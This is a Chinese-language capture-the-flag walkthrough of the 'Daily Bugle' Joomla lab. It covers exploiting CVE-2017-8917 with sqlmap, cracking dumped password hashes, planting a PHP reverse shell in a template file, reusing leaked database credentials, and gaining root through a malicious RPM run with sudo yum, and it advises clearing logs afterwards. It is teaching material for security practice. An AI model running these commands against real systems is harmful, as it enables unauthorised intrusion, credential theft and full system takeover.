Daily Bugle
字数 1349 2025-08-10 23:41:53
Joomla CMS 渗透测试实战:从SQL注入到权限提升
1. 信息收集阶段
1.1 初始扫描
使用nmap进行基础扫描:
nmap -sV -sC 10.10.102.79
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
- 3306 (MySQL)
1.2 Web应用识别
访问http://10.10.102.79,通过以下方法确认使用Joomla CMS:
- 查看网页源代码中的Joomla特征
- 使用专用扫描工具Joomscan:
cd joomscan
perl joomscan.pl http://10.10.102.79
扫描结果会显示Joomla版本和敏感路径信息。
2. 漏洞利用阶段
2.1 查找已知漏洞
确认Joomla版本为3.7.0后,使用searchsploit查找漏洞:
searchsploit joomla 3.7.0
cat `locate 42033.txt`
发现SQL注入漏洞(CVE-2017-8917)。
2.2 SQL注入攻击
使用sqlmap进行自动化注入:
sqlmap -u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
获取数据库后,提取用户凭证:
sqlmap -u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -D joomla -T '#__users' -C password,username --dump
2.3 哈希破解
将获取的bcrypt哈希保存并破解:
echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > hash
john --wordlist=/usr/share/wordlist/rockyou.txt hash
成功获取密码:spiderman123,对应用户jonah。
3. 获取初始访问权限
3.1 管理员后台登录
使用凭证jonah:spiderman123登录Joomla管理员后台。
3.2 植入Web Shell
- 导航到模板管理:Extensions → Templates → Templates
- 选择默认模板(如beez3)
- 编辑
error.php文件,替换为PHP反向shell内容
准备反向shell:
git clone https://github.com/pentestmonkey/php-reverse-shell.git
修改php-reverse-shell.php中的IP和端口,然后复制内容到error.php。
3.3 获取反向Shell
- 本地设置监听:
nc -lvnp 4444
- 访问触发shell的URL:
http://10.10.236.62/templates/beez3/error.php
4. 权限提升阶段
4.1 横向移动
在系统中发现用户jjameson,通过以下方法获取凭证:
- 检查Joomla配置文件:
cat /var/www/html/configuration.php
发现数据库凭证:用户名:root,密码:nv5uz9r3ZEDzVjNu
- 尝试SSH登录:
ssh jjameson@localhost
使用相同密码成功登录。
4.2 SUID提权分析
查找具有SUID权限的可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
检查sudo权限:
sudo -l
发现jjameson用户可以root权限执行yum。
4.3 通过Yum提权
利用GTFOBins方法构建恶意RPM包:
- 在攻击机安装fpm:
gem install fpm
- 创建恶意RPM包:
TF=$(mktemp -d)
echo 'cp /bin/bash /tmp/stef2 && chmod +s /tmp/stef2' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
- 传输RPM包到目标:
python -m http.server
在目标机下载:
wget http://<攻击机IP>:8000/x-1.0-1.noarch.rpm
- 执行提权:
sudo yum localinstall -y x-1.0-1.noarch.rpm
- 使用提权后的shell:
/tmp/stef2 -p
5. 关键知识点总结
-
Joomla识别:通过源代码分析和专用扫描工具确认CMS类型和版本
-
SQL注入利用:
- Joomla 3.7.0存在CVE-2017-8917漏洞
- 使用sqlmap自动化注入需要设置高风险参数(--risk=3 --level=5)
-
哈希破解:
- Joomla使用bcrypt哈希存储密码
- John the Ripper配合rockyou.txt字典有效破解弱密码
-
Web Shell植入:
- 通过模板文件修改是最隐蔽的方式之一
- PHP反向shell需要根据环境修改连接参数
-
权限提升技巧:
- 配置文件泄露是常见的信息泄露源
- yum的sudo权限可通过恶意RPM包实现命令执行
- GTFOBins提供了多种程序的提权方法参考
-
隐蔽性考虑:
- 使用随机User-Agent(--random-agent)
- 操作完成后应清理日志和上传的文件